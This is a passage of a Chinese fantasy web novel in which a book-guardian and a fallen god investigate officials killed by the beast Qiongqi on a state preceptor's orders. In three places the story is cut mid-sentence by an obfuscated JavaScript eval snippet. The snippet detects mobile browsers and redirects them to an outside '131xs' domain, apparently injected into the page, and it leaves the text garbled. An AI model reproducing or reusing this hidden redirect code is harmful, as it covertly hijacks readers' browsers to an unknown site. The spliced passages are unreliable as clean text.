云崖:“碎片丢失四散,我的记忆也模糊了,如今只记得自己曾是神裔,被什么人将神名捏碎,封印到天书内,而碎片通通散落到了《山海经》妖兽体内,随着碎片回收,我的记忆和法力都会逐渐恢复。” “那为什么要下同命契,我的命可不值钱。”欧阳绯珞摸向锁骨上的星轨。 云崖捏着她的下巴道:“我能感应到有一枚特殊碎片藏在了你的心口”,他一指从欧阳绯珞的下巴划到了胸口处:“强行取走会要了你的命,同命契能暂时稳定碎片,也能绑定性命,确保你逃不掉。” “你的命......现在是我的筹码。”云崖露出未达眼底的笑容,血瞳闪着妖异的光。 “我父母的死,你是否知晓真相?” 云崖:“我说过了,现在记忆残缺,等碎片慢慢找回,也许能记起你父母的一些事情。” 欧阳绯珞瞪视着云崖,想从他的眼睛里分辨有几分真几分假,她想拒绝,直觉却告诉她接受这个交易于她也有利。 犹豫之际,突然,摊开的天书发着金光,内页闪现一个地点:大胤刑部。 云崖:“这是下一处妖兽案的地点。”,他看向欧阳绯珞:“如何?接不接受这个交易?” 欧阳绯珞回视云崖,她深吸一口气,释然伸出手:“合作愉快。” 云崖露出满意的笑,他轻轻回握了一下她的手便松开了:“嗯,合作愉快。” 4. 第四章 哗哗哗 暴雨如注的夜晚,宅邸內唯有角落一隅书房散发着幽暗的烛光。 室内,宽厚的背影在烛火的映照下拉长,一名几近古稀的老人正伏案批改什么。 “老爷,子时了,该歇息了。” 一衣着雍容的女子手里端着茶水,靠近老人轻拍他的肩:“太晚了,喝完这杯茶就睡吧,明日再改也来得及。” 老人却捋捋花白的胡须摇头:“不行,上面催得紧,今天必须改完。”他看向女子,眼底闪过一丝温柔,捧着对方的手道:“这么晚了,你先睡吧,别等我了。” 随后又执笔疾书起来,女子很了解自己丈夫的脾气,见劝不动他,叹了口气,勿自离开了。 夜深了,雨还在下,似乎无论发生什么,都能够完美隐藏其中,不被任何人察觉。 时间一分一秒地流逝,终于,老人批改完成,正欲起身回房休息。 窗外草丛传来窸窣声响,突然,一个巨大翅膀闪过,庞大的身影顺势笼罩过来!老人还未看清此物全貌,就在一阵尖利的声波中毙了命,胸口露出烙印的血红“善”字。 长夜漫漫,暴雨如旧,似要将这世间的污浊冲刷殆尽。 翌日 欧阳绯珞和云崖寻着天书线索,来到了大胤皇城下的朱雀大街。街道宽逾百米,铺就的青石板光洁如砥,于艳阳之下反射着威严的光。 街道上,人流如织,车水马龙。高髻云鬟、披帛飘飘的仕女结伴闲逛,身着圆领窄袖袍、头戴幞头的男子在自家酒肆,旅邸前吆喝,深目高鼻的波斯商人叫卖着丝绸、香料、宝石和玻璃器皿,胡商殷切介绍自己摊位上的玛瑙、琉璃、胡椒和乳香。除此以外,街头巷尾,栖居着各种能人异士,磨镜的,占卜的,说书的,杂耍卖艺的......他们同样立足于繁华的朱雀大街,靠一身技艺挣着生活的口粮。 “不愧是皇城脚下,”云崖信步款款,一双金瞳扫视着四周景象:“果然非同凡响。”欧阳绯珞又换上那身绯色长袍,右手持剑,和云崖并肩穿梭在拥挤的人群中。 “这位姐姐,”突然,欧阳绯珞感觉自己的左手被什么人拉住了,她停下脚步,扭头一看,原来是个小姑娘,这小姑娘身量矮小瘦弱,站直了也只到欧阳绯珞的腰部,手里却提着一大篮子的花。 欧阳绯珞微微弯腰:“小姑娘,你有什么事吗?” 小姑娘见真的有人会为自己驻足,一时愣住了,竟呆呆地望着欧阳绯珞,一张嘴舌头跟打了结似的,半句话也说不出口了。 这孩子不会是傻的吧?云崖看不下去了,他顺手在小姑娘眼前打了个响指道:“嘿!你是想卖花给这位姐姐吧?” “是......是的!”小姑娘反应过来,脸腾地一下就红了,结结巴巴地开腔:“姐姐,你......你这么漂亮,如果有花相配,肯......肯定会衬得你更貌美!” 欧阳绯珞没和这么小的孩子打过交道,更不懂得该怎么应对孩童直接的夸赞,即使这夸赞是带着目的的,她的双颊却也偷偷爬上了红晕。 云崖看在眼里,觉得有趣地很,和欧阳绯珞相处这几天,她更多是以冷脸示人,还是头一回见她无措的模样,还是被一个小姑娘惹红了脸。 呵,真不像话呢。 云崖率先挑了一朵红色银莲花,他掏出一枚铜币递给小姑娘:“要这朵。” “好......好的!”这是她在街上转了快一上午卖出的第一单,实在难掩兴奋,她把花给了云崖激动道:“姐姐你看,你夫君多疼你呀!” 欧阳绯珞五雷轰顶,差点崴了脚,她摆摆手刚想解释,那小姑娘却跟个兔子似的一溜烟跑远了,嘴里还喊着:“祝你们百年好合!” 周遭有好奇的人往两人身上张望,欧阳绯珞僵在原地,怒瞪着云崖,那模样恨不得活剐了他,云崖倒不在意,他把过长的花枝折断,将剩下花的那一端戴到了欧阳绯珞头上,托腮端详了一阵对方气得涨红的脸,笑眯眯开口道:“不错,挺适合你。” “堕,神,云,崖!”下一刻,欧阳绯珞执剑冲向了云崖,云崖边笑边跑:“大小姐跟我发什么脾气,分明是那小姑娘识人不清,我倒成替罪羊了。” 欧阳绯珞:“你住口!还狡辩!” 两人打着,闹着,跑着,终于到了此行的目的地——刑部。 欧阳绯珞收回刚才的不得体,拿出刑部通行令牌对门吏道:“这位大哥,我是欧阳绯珞,这位......是我兄长,我们前来拜访刑部尚书大人,麻烦通报一声。” 门吏见令牌如见祖宗,马上进门通告,没一会儿就出来了,他把刀一收客气道:“大人在正厅恭候二位。” 两人一前一后进了刑部,云崖揣手道:“想不到你这小丫头有两把刷子。” 欧阳绯珞嗤笑一声,难得有心情和他多说几句:“我守书人的身份本就特殊,如今天书妖兽逃离人间,我们守书一族难辞其咎,为了保障百姓安危,刑部,大理寺,就连皇帝也曾几次召见我,一来二去也就混了几个牌子出来。” 云崖笑了笑,没再搭话。 到了正厅,刑部尚书郑清正在品茶,见两人到了,立刻命令仆女上茶,拉着欧阳绯珞的手恳切道:“绯珞,你来得正好,昨晚我部司直遇害了,这已经是本月第5起命案了。” 欧阳绯珞:“大人先别急,我们坐下聊,您把事情的前因后果和我详细阐述一下。” “好,二位请。” 郑清招待两人坐下,自己也回了座位开口道:“经过我们调查,这五起命案有一个共同点,死者内脏均被震碎,体表却没有明显外伤,唯独胸口留下一个善字烙印。” “善?” 欧阳绯珞思考后开腔:“这5人生前有什么共同点吗?” 郑清:“非要说的话,他们在朝堂上口碑一直不错,是十分清廉的官,没想到会遇到这种事。” 他长叹一声:“唉,可惜了。” 云崖:“现场有遗留什么可疑的东西吗?” 郑清拍拍大腿:“并未发现可疑物品,现场也几乎没有打斗的痕迹。” 欧阳绯珞:“那么,现在唯一能确定的就是凶兽作案了。” 郑清眼睛一亮:“何以见得?” 云崖:“她的天书可以感应到凶兽案的地点,我们就是根据天书的指引来到此处的。” 郑清似懂非懂的感慨道:“若果真是凶兽,那还要依靠二位仙人多多助力啊。” “放心吧,”欧阳绯珞继续道:“纠其源头是我们守书一族的疏忽,我定会查清此案,给死者一个交代的。” 郑清点点头:“好,那就麻烦二位了。” 云崖最听不得这种无意义的恭维,他直切主题道:“昨夜死去的司直大人的尸体,可否容我僭越查看。” “这......”郑清有些为难:“他的肉身在司直府邸,您也知道,都是有头有脸的人物,就算死了也得体面地走,他的妻儿不允许我们碰他的肉身,查案也不行,我们也只能将就探查一番就回来了。” “这样,”云崖揣手沉默,倚着椅背左右晃。 “既然如此,兄长,”欧阳绯珞看向云崖:“你我今晚就夜探司直府,兴许能查出一些蛛丝马迹。” 云崖眼底闪过狡黠的笑意:“正合我意,明的不行就暗地操刀。” 郑清下意识想阻止,可转念一想,此案是烫手山芋,刑部至今一筹莫展,如今,也只能碰碰运气,靠懂奇闻异术的仙人试试手了。 “那......二位多加小心,”郑清欲言又止:“在下等你们的好消息。” 欧阳绯珞:“嗯。” 夜幕降临,朱雀大街热闹程度虽不及白日,却也有门店门可罗雀。人群摩肩接踵,语言各异,服饰万千,香料,皮革,汗水的混合气息在空气中弥漫四散,形成一幅流动的“大胤盛世图”。 司直府邸 身穿夜行衣的云崖和欧阳绯珞跳上祠堂屋顶,隐身于夜色。他悄声拨开一块瓦片,只见司直大人的尸体被摆放在祠堂中央,旁边围坐着身穿孝服守灵的妻儿。 云崖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161245|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从怀里掏出一支迷魂香,示意欧阳绯珞蒙面捂好口鼻,随后点燃丢进了祠堂角落。 欧阳绯珞低声道:“你确定这香不会有什么负面影响?” 云崖低声耳语:“放心吧,除了能引人入睡,没别的功效。” 虽被称为迷魂香,此香却无色无味,正如云崖所言,催眠效果十分显著,不一会儿,一屋子活人全部倒下睡了过去。 “成了,走!”云崖带着欧阳绯珞一个转身跳下房顶,两个黑衣人快步进入祠堂,云崖一把掀起司直身上的白布,胸口鲜活的血色“善”字映入眼帘。 欧阳绯珞:“你有什么发现?” 云崖口中念诀,竖起两指聚集法力于指尖,对准血色烙印贯注。不一会儿,烙印血色渐渐变浅,其内部的金色的光芒缓缓出现。 血色“善”字竟化为金色的灵流。 云崖勾唇一笑:“新发现。” 欧阳绯珞怔然望着这大大的金色字眼,如鲠在喉,半晌说不出一句话。 云崖见她这副样子,冷笑道:“怎么,始作俑者是神族让你这么难以接受吗?你别忘了几天前把你关在焚尸洞里,害你用不了天书差点丧命的也是神族。” 欧阳绯珞艰涩开口:“我......我知道......只是......” 云崖:“只是你从小接受的教育就是诛杀妖族,保护人族,信奉神族,谁知道今天多年信仰被打破,你那高高在上,纤尘不染的神族也会背地里行这种阴暗龌龊事呢?” 欧阳绯珞难以置信:“你不也曾是神裔吗?为何对神族如此排斥?” 云崖一下子被问住了,是啊,他为什么会如此厌恶神族呢?记不起来,完全没有印象,只是提起神族便会生理性厌恶,云崖欲言又止,最终只开口道:“我只是在揭露事实罢了。” 他逼近欧阳绯珞,露出纨绔的未达眼底的笑:“都这个年龄了,欧阳大小姐还真是单纯的可怕,竟然还不懂世间万事万物都并非非黑即白的道理?” “我......”欧阳绯珞被这句话刺到了,两人虽只相处几天,云崖却把她看得透透的,她低下头,不敢直视对方的眼睛。 云崖后退几步恢复适度的距离改口道:“好了,今日有收获,天色不早了,回客栈吧。” “好......好......”欧阳绯珞像个出了故障的机械人偶,任由云崖牵着离开了司直府邸。 龙门客栈 欧阳绯珞回到自己的客房,深吸一口气,坐到窗边望着月亮出神。自从担任了守书人,从书院走出来那一刻,这一路上,本以为自己早已做好万全的准备,可谁知一桩桩一件件突发事件彻底打乱了她的计划,就连贯彻25年的认知也被彻底击碎了,她手中握着那半枚玉佩,心中百感交集。 “爹,娘,我该怎么办呢?“她把玉佩贴到额前,眼前濡湿一片,前路茫茫,她不知道该相信谁,又该痛恨谁。 愁思之际,突然,一道箭光闪现,从远处树林直射向窗边! 欧阳绯珞轻巧侧身,一手接住了那把弓箭,林间一阵骚动,而后迅速平息。 逃了,欧阳绯珞想,她拿起弓箭端详,箭羽是稀有的雕翎,箭身上刻着“玄”字,箭尾又系着一个字条。 她打开字条,只见上面写着:停止调查此案,否则......后面跟着几滴鲜红血迹。 威胁吗?欧阳绯珞把纸条折好,收进了衣袖内,她一边踱步一边思索:不会错的,这是大胤玄甲军的特制弓箭,玄甲军可谓是国之栋梁,若也有牵扯,那么,这桩连环杀人案牵涉程度恐怕不能细想。 要现在告诉他吗? 正当欧阳绯珞犹豫之际,叩叩叩,门被什么人敲响了。 “谁啊?”欧阳绯珞打起十二分警惕,悄悄溜到门前,指尖夹着几个微型袖箭,正想推门探查,突然,门外响起熟悉的声音:“欧阳绯珞,开门,我有事和你商量。” 听闻是云崖的声音,欧阳绯珞悬着的心才落下来,她马上打开门,却见门外除了云崖,还站着另外一个人。 5. 第五章 “夜安,欧阳大人。” 站在云崖身边的是皇帝身边的近臣徐惩公公,他一拱手道:“陛下邀您和您的兄长前往藏书阁议事。” 欧阳绯珞被皇帝召见过几次,和徐公公也打过几次照面,刚刚发生了那种事,紧接着又被皇帝密诏,心不由得悬了起来,她面色凝重道:“公公,陛下找我什么事?” “大人去了就知道了。” 欧阳绯珞和云崖对视一眼,云崖点头示意:“那我们就恭敬不如从命了。” 徐惩:“二位随我来。” 两人随徐惩出了客栈,坐上马车,借着浓浓夜色,奔赴皇宫。 藏书阁 徐惩站在门口通报:“陛下,欧阳大人和她的兄长到了。” 皇帝:“宣。” “诺,”徐惩转身道:“大人进去吧。” “好。“两人应声推门进殿。 殿内,皇帝正背手立于书林之中,见两人进来,直言:“不必行礼,入座吧。” 三人入座后,皇帝率先开口:“绯珞,今天召你来可知是为何事啊?” 欧阳绯珞斟酌开口:“陛下是为本月的连环杀人案烦忧吧?” “是,但不止于此。”皇帝叹息一声:“绯珞,你可知死者都是我朝要官?” 欧阳绯珞点头:“今天拜访刑部尚书大人,听闻死去的5名官员身居要职,作风清廉,并深受百姓爱戴。” 皇帝微微颔首:“所以我才忧心啊。” 欧阳绯珞:“臣子愚钝,敢问陛下何意?” 皇帝叹息一声:“近来朝堂风云莫测,我担心杀清官是对皇权的震慑,背后的始作俑者有更深的阴谋。” 欧阳绯珞沉默了,她突然想起那支玄甲军的弓箭,从衣袖内掏出那张染着血迹的字条。 “陛下,我刚刚在客栈遇袭,那弓箭上刻着‘玄‘字,箭尾绑着一张字条。”她将字条呈给皇帝,皇帝接过字条查看,却并没有露出什么惊讶的神情,反倒像是猜到会如此一般,他将字条引燃后开口:“你是想说这件案子和玄甲军也有关联?” 欧阳绯珞不敢妄言,只道:“臣子不敢为国之栋梁乱扣帽子,也只是猜测。” 皇帝笑了笑:“绯珞啊,你还是太年轻。” 欧阳绯珞不知所以,她性子太赤诚,不懂帝王深沉的心思,云崖倒是猜出几分,他冷笑一声道:“所以,陛下召我们来就是为了打哑谜?” 皇帝看向云崖,云崖施了术法把金瞳隐匿了,眼前只是一个看起来有点傲气的青年。 “绯珞,这位就是你的兄长吧?” 欧阳绯珞骑虎难下,只能点点头:“是......是啊,他是我哥哥,会一些拳脚功夫,因为担心我一个女子查案遇到危险,所以才全程陪同。” “嗯,”皇帝笑道:“一表人才,相信他会护好你的。”他举杯喝了一口热茶,继续道:“这个案子还要拜托你们继续查,但只能暗访,不能明查。” 欧阳绯珞:“好。” “去拜访大理寺主簿周恒吧,”皇帝道:“虽然对外公布死者是5人,但其实是4人,周恒活下来了,只是精神上不太稳定。” 欧阳绯珞被这突如其来的信息炸地大脑噼啪作响,她开口询问:“为什么要隐瞒此人未死的事实呢?” 皇帝面色变得沉重,他幽幽开腔:“绯珞啊,不瞒你说,朕怀疑大理寺内部有了异心。” 窗外电闪雷鸣,暴雨倾注,明明是夏天,殿内却空旷又冷寂。 欧阳绯珞和云崖拜别皇帝,二人坐着马车回到了龙门客栈。 云崖难得不讨嫌:“丑时了,先歇息吧,明日再去找那个周恒。” 欧阳绯珞心不在焉,魂不守舍地回了自己的客房。 雷雨依旧,怒吼着似要掀翻这个污浊的世界。 一夜未眠,次日,二人又早早出发,到达了周恒的府邸,进了大门才发现院内几乎空无一人,只有周恒背对二人,独自一人坐在石凳上喂鱼。 走近才发现,此人大白天还身着睡袍,嘴里念叨着什么,一副精神不济的颓靡模样。 欧阳绯珞拍拍他的肩柔声开腔:“大人,我是欧阳绯珞,您还记得我吗?” 周恒明显瘦削不少,睡袍空空荡荡地挂在身上,他闻声缓缓抬头,只见他眼窝深陷,双颊也凹了进去,整个人摇摇欲坠,像浮萍一般漂泊无依,仿佛随时能从这个世界消散。 “是你啊,”周恒认出了欧阳绯珞,他看着云崖警惕道:“你们来这做什么?” 云崖拿出御赐令牌:“奉旨查案,还望大人全盘托出,莫要推脱。” 周恒看着那金牌,突然浑身抽动,口吐白沫,眼见着要昏死过去。云崖以迅雷不及掩耳之势点穴,又给他灌了一粒药丸,周恒仰躺在地上,顿时瞪大双眼,一动都不动了。 欧阳绯珞抓着云崖衣领急切道:“你给他灌的什么,可别药死了!” “放心吧,”云崖把她的手扒拉下来,整理整理衣领:“他装呢,我见他不配合就喂了粒吐真丸,一会儿保准问什么答什么,听话地紧。” 云崖在欧阳绯珞错愕的眼神下俯身拍拍周恒的脸:“装够了没有,起来,我有话问你。” 周恒背后跟安了弹簧似的,蹭的一下弹坐了起来,他一双大眼睛渗人地瞪着云崖,嘴上却道:“主人,您想问什么?” 云崖满意开口:“够听话,我问你,你知道自己是因为什么被凶兽袭击的吗?” 周恒却摇了摇头:“不清楚。” “不清楚吗?”云崖嘲讽道:“看来那几人也至死都做了个糊涂鬼啊。” 云崖又问:“被凶兽袭击前的那段时间,你接了什么特别的工作吗?” 周恒依旧摇头:“没有,只是按照惯例在大理寺批改文书。” “为何只有你活了下来?”云崖逼近继续道:“你见过那凶兽的全貌吗?” 周恒浑身抖如筛糠,看起来极为害怕,他艰涩开口:“我......我不知道为什么那凶兽没杀我......它......它身上有斑纹,身体两侧长一对翅膀,体型十分巨大,看起来就像......就像......” 欧阳绯珞:“长了翅膀的老虎吗?” 轰隆隆,电闪雷鸣,周恒尖叫起来,他哆哆嗦嗦地指着那两人身后,一句完整地话都讲不利索。 云崖低笑一声:“来了!” 下一刻,云崖抱起欧阳绯珞,扛起半死不活的周恒,一个飞身上了屋顶,屋檐下那巨兽缓缓现身,发出震耳的怒吼。 欧阳绯珞定睛一看:“果真是穷奇!”她从怀里掏出天书,执笔写下一个“缚”字,紧接着,宅邸内的十几颗杨树的枝杈扭曲延长,追逐围困穷奇,然而穷奇只张了张嘴,吐露出的尖利声波便瞬间将碗口粗的杨树震成了齑粉。 欧阳绯珞见状打算召来雷电,却被云崖阻止了。 “欧阳绯珞,你别忘了陛下的嘱托,”云崖按住她的手提醒道:“我们只能暗访,不可惊动太多人。” 欧阳绯珞收妖心切,却也作罢,刚想和云崖理论几句,突然,穷奇闪电般瞬移到了屋顶,叼着细麻杆一样的周恒又瞬移到了院子里。 “遭了!” 周恒是此案唯一的幸存者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161246|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能让他出事! 云崖顺手取走欧阳绯珞腰间佩剑,直刺向穷奇,穷奇虽身体庞大,动作却敏捷地很,嘴里叼着周恒,几个闪避躲过奇袭,而周恒早在过度的惊吓中昏了过去。 云崖:“穷奇,把周恒放下!” 穷奇不为所动,甚至多用了几分力,把他咬出了血,鲜血一滴滴落到地面。 “别!” 云崖血瞳骤现,他仗剑布阵,将穷奇团团围住,紧接着一个刁钻上挑,穷奇翻身后仰,耳边的青铜符咒被挑落到了地上,那符咒一粘阵法便破解了,空中浮现两个大字:诛善。 穷奇双目赤红,俯下身子,做出进攻的姿势,然而下一刻,却突然像听到什么指令,身上血性立即熄灭了,它叼着周恒,几个极速闪现,消失在了众人的视野里。 欧阳绯珞用不上天书,旁观了这场短暂的战斗,她从屋顶跳下,来到云崖身边。 “还是让它跑了。”云崖拾起那枚青铜符咒:“不过能确定的是周恒暂且死不了。” 欧阳绯珞颔首道:“结合目前的线索看,或许陛下的猜疑没错,神裔趋使穷奇伤人只是表象,背后有更大的阴谋。” 云崖:“大胆一点,神裔和朝堂之上的某人,甚至是某个机构勾结,比如陛下提及的大理寺,不然怎么说清楚只有大理寺的人活下来呢?他们利用凶兽杀清官震慑皇权,而最终的目的......” 欧阳绯珞:“夺权篡位。” 云崖森然一笑:“未尝不可能呢。” “可拥护另一人上位,对那名神裔又有什么好处呢?”欧阳绯珞百思不得其解。 云崖:“这就未可知了。” 夜风习习,乌云消散,难得今日没下雨,云崖望着天边的朝霞:“等着吧,狐狸尾巴马上就露出来了。” 朝堂之上 “陛下,欧阳绯珞已查到案子的始作俑者是穷奇凶兽,还望陛下派玄甲军围剿,以防再生事端!” 刑部尚书郑清义愤填膺,大有皇帝不应就血溅当场的气魄。 “此言差矣,”国师李墨适时开口:“尚书大人是否明晰穷奇为何伤人?” 赵清:“畜生杀人还需要理由?” 李墨讥讽一笑:“陛下,臣已查明,穷奇所杀之人均曾受贿,甚至挪用国库,这是上天派来惩罚罪臣的祥瑞啊!” 他将证据文书一一呈上,李墨一掀衣摆跪地道:“陛下,几位死者生前身居要职,以清廉闻名,可谁知背地里竟做出此等龌龊之事,此为国之不幸啊!” “你闭嘴!”赵清怒道:“此为污蔑,李墨,你别仗着人死了不能发声就为非作歹!陛下,几位大人跟随您多年,他们的为人您最清楚,您......” 皇帝一摆手:“那据李爱卿所言,此事该如何处理?” 李墨:“依臣看,那穷奇既是上天派来锄奸惩恶的瑞兽,妄动恐会引发天劫,不如下令家家户户供奉,以儆效尤。” 皇帝:“就这么办。” 赵清简直五雷轰顶,他不可置信道:“陛下,万万不可啊。” 李墨:“尚书大人竟如此维护那几个卖国贼,陛下,恐不得不查。” 皇帝:“自即日起,刑部尚书赵清停职。” 赵清跪倒在地:“陛下,臣实在冤枉!” 然而皇帝根本不理会他说什么,任由侍卫将赵清带走。 另一边,欧阳绯珞和云崖将青铜符咒带回客栈,云崖和穷奇相斗震伤了手指,渗出的丝丝鲜血粘到符咒碎片上,竟然当空浮现出金色字眼。 欧阳绯珞定睛一看,只见上面写着:咒缚5重,噬善为祭。 6. 第六章 “咒缚五重吗?” 欧阳绯珞沉思片刻:“可除了周恒,只有4人毙命。” 云崖:“还剩一个倒霉鬼喽。” 云崖咬破右手食指,将青铜符咒碎片轻抛向空中,法力聚于染血的指尖,金色的灵流瞬间包裹符咒,悬于空中,他口中念诀:“血为引,魂为桥,逆光阴,窃心潮。” 由于同命契的关系,欧阳绯珞的右手食指也顺理成章地出了血,但她的注意力全在云崖身上,完全没意识到自己也出血了。 紧接着,空中呈现出五个画面,那是云崖读取的穷奇的记忆。影像中,包括周恒在内的5名官员都在伏案批改着什么,待批改完成后穷奇恰好现身,意料之中的杀害了其中4人。然而穷奇杀人后并未离开,而是来到案前,一双眼睛扫视着文书。 云崖进一步施法,画面放大,只见每一本文书的封皮上都写着:千岳录三字。 死者全都批改过相同的文书! 紧接着,不知那猛兽用了什么术法,文书上的字迹竟奇迹般地浮了起来,被穷奇一口吞下,案上只剩一本普通的空白书! 影像到此就结束了,云崖想继续探查,却什么都显影不出了。 他轻抹食指,渗出的血马上结了痂。 “没办法,”云崖收回术法,青铜符咒碎片掉落到桌面:“就这么点贴身的东西,能读到这些已是万幸。” 欧阳绯珞:“也就是说,如果我们找到最后一名批改过千岳录的官员,在他家提前埋伏守株待兔即可。” “没错,”云崖抛着那枚碎片道:“怪不得赵清查不到线索,字都被穷奇吞了,他上哪查去。” “提到他,”欧阳绯珞转念一想:“刑部不也发生了命案吗?恰好他最近被陛下停职在家,我们不妨再去拜访他一次,把寻到的线索提供给他,兴许能找到一些蛛丝马迹。” 云崖一拍手:“好,就这么办!” 二人意见达成一致,又风风火火地出了客栈奔赴赵清的府邸。 赵府 “竟然是这样!”赵清一拍大腿铿锵道:“司直大人和我提过,他和我部的程冰主事都被上头要求批改千岳录!” 他抓着头发激动道:“这么说,下一个就是程冰!?” 云崖颔首:“不出意外的话,就是他。” 欧阳绯珞疑道:“赵大人,批改千岳录的工作是谁下发的?” 赵清努力平复心情,却仍抵不过接近真相的战栗,他哑声道:“国师李墨,那个疯子,是他下派的任务!” 云崖和欧阳绯珞对视一眼,两人了然于心。 赵清握着欧阳绯珞的手恳切道”“绯珞,兹事体大,我如今被禁足帮不上什么忙,只求你们一定护好程冰,查明真相,还死者一个清白!” 欧阳绯珞点头:“我会的。” 二人告别赵清,奔赴程府。 “你说什么?” 程冰呆愣在原地,他难以置信:“批改千岳录竟然会丧命吗?”他颓丧地跌坐到地上,整个人的心气都散了。 云崖道:“程大人,可否告诉我们,国师具体要你们批改什么内容?” 程冰欲言又止,他低声开口:“我......我不知道具体是为了什么,他只告知我们编纂妖兽行凶,祸乱人间的假闻,并抹杀掉对神族不利的传闻和事迹。” 欧阳绯珞:“对神族不利的事迹?那是什么?” 程冰看了她一眼,沉声道:“是一些黑历史,比如神族为了提升修为,抓人类和妖兽炼丹之类的。” 云崖讥讽道:“这么说,那他们神族还真是两面三刀伪君子,表面上一尘不染,受尽万人敬仰,背地里却竟干些腌臜事。” 他见欧阳绯珞一言不发,心中升起一丝隐秘的快意:“为了维护自己的权威,利用完人类就灭口抛弃,这就是神爱世人吗?” “你说够了没有,”欧阳绯珞阴沉着脸:“我是天帝亲命的守书人,职责是收复逃跑的妖兽,维护世间太平,除此以外,任何所谓的秘辛丑闻都跟我没有关系。”她勾唇笑了笑:“我只为自己的行为负责,其他事与我何干。” 云崖闻言眼中闪过一丝惊喜,他一胳膊跨在欧阳绯珞脖颈上,戳戳她的脸道:“行啊小珞,才几天就进步斐然啊!” 欧阳绯珞瞪了他一眼,打掉他的手,整整衣襟继续道:“程大人,既然您也参与过批改千岳录,那定会被穷奇盯上,我们此行就是为了收复穷奇,保护您的安危,希望您能配合。” 程冰是个文人,没经历过生死之事,他背上早就被冷汗浸湿,哆哆嗦嗦地开口:“好......好......那在下要做些什么呢?” 云崖:“之前几位大人都是在刚批改完文书后丢的性命,您只需照常在书房批文,我和欧阳绯珞会在外埋伏,守株待兔。” 欧阳绯珞:“今夜能批完吗?” 程冰吞咽下口水,才发现嗓子早就干地冒烟,他算了算:“若从现在开始批,按目前的进度,申......申时可以改完。” “好” 欧阳绯珞一拱手:“成败在此一举了。” “嗯。”程冰重重点头,为了活命,他一头扎进书房开始作业。欧阳绯珞和云崖则一个秘密埋伏到窗外的草丛,一个守在书房门口,静待夜幕降临。 时光流逝,天黑了,程冰点了一根蜡烛,虽然心不在焉,但为了活命也只能硬着头皮干,他面色发青,大滴的汗珠落到桌面,渐渐的,执笔的手愈来愈沉重,到后面几乎要写不动了。 远方的钟鼓楼响起,申时终于到了。 程冰把批改完的文书一把扔到窗外,起身尖叫着,逃也似地钻进了床底。 院内突然刮起一阵邪风,紧接着,一个庞大的身影闪现到窗边,一双棕瞳转来转去,打量着整个书房。 出现了!云崖藏在草丛里,和穷奇离地很近,这次,他感应到了一些特殊的信号,没错,在这凶兽的右翼嵌着一枚神名碎片。 穷奇缩小体型,一下子跳进了书房,嗅着桌面,地面,寻找活人的踪迹。 云崖利用同命契同欧阳绯珞传声:“欧阳绯珞,穷奇出现了,现在已经进了书房。” 欧阳绯珞:“好,按原计划行动。” 穷奇在屋内转了一圈,闻着嗅着来到床边,四只爪子踱来踱去,程冰吓得泪流满面,捂着嘴大气都不敢喘,生怕一个不小心就丧了命。 突然,这凶兽停下脚步,站在床边不动了。 怎么回事?程冰正疑惑呢,一张凶狠的虎头一下子出现在他面前,一人一兽堪堪打了个照面。 “啊!” 程冰惨叫起来! “就是现在!” 云崖道:“欧阳!” 欧阳绯珞:“来了!” 欧阳绯珞早早拿出天书写下“缚”字,这次不是杨树枝,而是云崖施了法的铁链。只见那铁链如有生命般层层缠上穷奇的脖子向上狠狠一拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161247|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把它仰面拽了个跟头,刚想张嘴吐声波,铁链又像蟒蛇似的死死缠绕上它的嘴和身体,把穷奇捆成个麻花,任由它倒地怎么翻滚怒吼都无济于事。 抓到了! 云崖翻身进了书房,欧阳绯珞也推门进来,两人把程冰从床底拖出来,此人面色青绿,瞪着眼睛一句话也不说,显然吓得不轻。 云崖没空理他,转身一手覆在穷奇的右翼,略一施法,碎片便突破血肉,化为一道白光钻入了云崖的心口。 神奇的是,当云崖取下它另一只耳朵上的符咒后,穷奇眼里的戒备和凶狠顿时烟消云散,它停止怒吼,体型也迅速缩小,化为嗷嗷待哺的幼年模样。 云崖:“看来是这符咒控制住了它。” 他指尖聚灵,对准符咒施法,空中再次浮现影像。 画面中出现一身着黑色斗篷,脸上戴着红色鬼面具的高大男子,他居高临下对面前的人吩咐道:“李墨,我知道你要什么。”声音被处理过了,听起来近乎失真。 李墨狡黠一笑:“怎么说?” 黑衣人:“只要你听话,按我说的做,事成之后,我什么都能给你。”言罢,他一挥手,戴着青铜符咒的穷奇便嘭地一下出现了。 “穷奇口中发出的声波威力巨大,相信你会用得到的。”黑衣人道:“但前提是你要帮我一个小忙。” 李墨看着穷奇,眼中爬满了欲\望:“什么忙?” 黑衣人:“找大胤名声好的清官改我这本千岳录,事后再派穷奇灭口。” 李墨:“这是何意?” 